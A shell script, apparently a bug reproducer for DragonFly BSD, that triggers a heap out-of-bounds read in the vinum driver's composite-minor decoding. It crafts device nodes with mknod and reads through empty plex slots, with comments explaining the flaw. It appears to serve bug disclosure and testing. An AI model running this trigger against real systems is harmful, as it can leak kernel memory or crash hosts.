#!/bin/sh
# DF-5063 — vinum Plexno()/Sdno() composite-minor decode walks the tables
# with no bounds checks and propagates the -1 "empty slot" sentinel:
#
#   Sdno()   VINUM_SD_TYPE:   PLEX[Plexno(dev)].sdnos[minor>>20 & 0xff]
#   Plexno() VINUM_PLEX_TYPE: VOL[Volno(dev)].plex[minor>>16 & 7]
#
# vol->plex[i] is initialised to -1 for every empty slot (get_empty_volume,
# vinumconfig.c:896-897). A VINUM_SD_TYPE minor whose plex ordinal addresses
# an empty slot makes Plexno() return -1, and Sdno() then READS
# PLEX[-1].sdnos[ordinal] — a heap out-of-bounds read of up to ~1 KB before
# the plex[] array; the garbage int is then used as an index into SD[].
#
# The kernel never creates composite-minor nodes itself (only rawplex/rawsd
# and volume nodes), so this path needs a hand-made node (mknod, root).
# Baseline proof of reachability: plex ordinal 0 (a REAL slot) opens and
# reads fine through the same composite decode.
#
# Run as root on the DragonFly guest after pushing: label.bin, this script.
set -x
date
uname -a
export PATH=/sbin:/bin:/usr/sbin:/usr/bin
kldload vinum
sleep 1

# ---- vn0 vnode disk + vinum-typed 'a' partition ----
dd if=/dev/zero of=/tmp/disk.img bs=1m count=32
vnconfig -c vn0 /tmp/disk.img
dd if=/tmp/label.bin of=/dev/vn0 bs=512 seek=1 conv=notrunc
sleep 1
ls /dev/vn0s0a

# v0 with plex p0 and subdisks s0..s1 (plex ordinal 0 occupied; 1..7 empty)
printf 'drive d1 device /dev/vn0s0a\n' > /tmp/df5063_c1
printf 'volume v0\nplex name p0 org concat\nsd name s0 drive d1 len 2m\nsd name s1 drive d1 len 2m\n' > /tmp/df5063_c2
vinum create -f /tmp/df5063_c1
sleep 2
vinum create -f /tmp/df5063_c2
sleep 3
vinum start v0
sleep 2
vinum l | head -12
ls -l /dev/vinum/sd/s0 /dev/vinum/sd/s1 /dev/vinum/vol/v0

# ---- vinum cdev major from the volume node ------------------------------
ls -l /dev/vinum/vol/v0
MAJOR=$(ls -l /dev/vinum/vol/v0 | awk '{print $5}' | tr -d ',')
echo "vinum cdev major: $MAJOR"

# marker on sd s0 so a successful composite read is identifiable
printf 'SD-S0-DATA' | dd of=/dev/vinum/sd/s0 bs=512 seek=0 conv=notrunc 2>/dev/null

# ---- sweep: composite VINUM_SD_TYPE nodes, volno 0, plex ord 0..7 ----
# minor = (2<<28) | (pord<<16) | (sord<<20) | 0
p=0
while [ $p -le 7 ]; do
    s=0
    while [ $s -le 1 ]; do
        M=$(( (2 << 28) | (p << 16) | (s << 20) ))
        rm -f /tmp/sdc_${p}_${s}
        mknod /tmp/sdc_${p}_${s} c $MAJOR $M
        echo "==== SD composite pord=$p sord=$s minor=$(printf 0x%x $M) ===="
        dd if=/tmp/sdc_${p}_${s} bs=512 count=1 2>/tmp/dderr_${p}_${s} | tr -d '\0' | head -c 24; echo " rc=$?"
        head -1 /tmp/dderr_${p}_${s}
        sleep 1
        s=$((s+1))
    done
    p=$((p+1))
done

# ---- composite VINUM_PLEX_TYPE nodes (Plexno only; vol->plex[-1] read) ----
p=0
while [ $p -le 2 ]; do
    M=$(( (1 << 28) | (p << 16) ))
    rm -f /tmp/pxc_${p}
    mknod /tmp/pxc_${p} c $MAJOR $M
    echo "==== PLEX composite pord=$p minor=$(printf 0x%x $M) ===="
    dd if=/tmp/pxc_${p} bs=512 count=1 2>/tmp/pdderr_${p} | tr -d '\0' | head -c 24; echo " rc=$?"
    head -1 /tmp/pdderr_${p}
    sleep 1
    p=$((p+1))
done

rm -f /tmp/sdc_* /tmp/pxc_* /tmp/dderr_* /tmp/pdderr_*
echo '==== guest survived; dmesg tail ===='
dmesg | tail -8
date
echo DONE_DF5063
